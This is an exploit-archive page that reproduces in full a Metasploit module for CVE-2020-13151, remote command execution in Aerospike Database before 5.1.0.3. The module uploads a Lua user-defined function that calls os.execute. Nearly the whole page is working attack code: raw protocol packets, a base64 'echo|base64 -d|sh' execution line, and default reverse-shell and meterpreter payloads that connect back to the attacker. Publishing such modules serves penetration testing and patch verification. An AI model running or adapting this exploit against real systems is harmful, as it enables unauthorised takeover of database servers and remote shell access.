Advertisement






Aerospike Database UDF Lua Code Execution

CVE Category Price Severity
CVE-2020-13151 CWE-XXX Not disclosed High
Author Risk Exploitation Type Date
Not specified High Remote 2020-12-14
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120099

Below is a copy:

Aerospike Database UDF Lua Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Aerospike Database UDF Lua Code Execution',
        'Description' => %q{
          Aerospike Database versions before 5.1.0.3 permitted
          user-defined functions (UDF) to call the `os.execute`
          Lua function.

          This module creates a UDF utilising this function to
          execute arbitrary operating system commands with the
          privileges of the user running the Aerospike service.

          This module does not support authentication; however
          Aerospike Database Community Edition does not enable
          authentication by default.

          This module has been tested successfully on Ubuntu
          with Aerospike Database Community Edition versions
          4.9.0.5, 4.9.0.11 and 5.0.0.10.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'b4ny4n', # Discovery and exploit
            'bcoles' # Metasploit
          ],
        'References' =>
          [
            ['EDB', '49067'],
            ['CVE', '2020-13151'],
            ['PACKETSTORM', '160106'],
            ['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
            ['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
            ['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
            ['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
          ],
        'Platform' => %w[linux unix],
        'Targets' =>
        [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_command
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-07-31',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          },
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(3000)
      ]
    )
    register_advanced_options(
      [
        OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
      ]
    )
  end

  def build
    header = ['02010000'].pack('H*')
    data = "build\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def remove_udf(name)
    header = ['02010000'].pack('H*')
    data = "udf-remove:filename=#{name};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def list_udf
    header = ['02010000'].pack('H*')
    data = "udf-list\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def upload_udf(name, data, type = 'LUA')
    header = ['02010000'].pack('H*')
    content = Rex::Text.encode_base64(data)
    data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def features
    header = ['02010000'].pack('H*')
    data = "features\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def execute_command(cmd, _opts = {})
    fname = "#{rand_text_alpha(12..16)}.lua"
    print_status("Creating UDF '#{fname}' ...")

    # NOTE: we manually remove the lua file as unregistering the UDF
    # does not remove the lua file from disk.
    cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")

    # NOTE: this jank to execute the payload in the background is required as
    # sometimes the payload is executed twice (before the UDF is unregistered).
    #
    # Executing the payload in the foreground causes the thread to block while
    # the second payload tries and fails to connect back.
    #
    # This would cause the subsequent call to unregister the UDF to fail,
    # permanently backdooring the system (that's bad).
    res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})

    return unless res.to_s.include?('error')

    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
    else
      print_error('UDF registration failed')
    end
  ensure
    # NOTE: unregistering the UDF is super important as leaving the UDF
    # registered causes the payload to be executed repeatedly, effectively
    # permanently backdooring the system (that's bad).
    if remove_udf(fname).to_s.include?('ok')
      vprint_status("UDF '#{fname}' removed successfully")
    else
      print_warning("UDF '#{fname}' could not be removed")
    end
  end

  def check
    connect

    res = build

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first

    unless version
      return CheckCode::Safe('Target is not Aerospike Database')
    end

    vprint_status("Aerospike Database version #{version}")

    if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3')
      return CheckCode::Safe('Version is not vulnerable')
    end

    unless features.to_s.include?('udf')
      return CheckCode::Safe('User defined functions are not supported')
    end

    CheckCode::Appears
  end

  def exploit
    # NOTE: maximum packet size is 65,535 bytes and we lose some space to
    # packet overhead, command stager overhead, and double base64 encoding.
    max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
    if payload.encoded.length > max_size
      fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
    end

    print_status("Sending payload (#{payload.encoded.length} bytes) ...")
    case target['Type']
    when :unix_command
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: max_size, background: true)
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum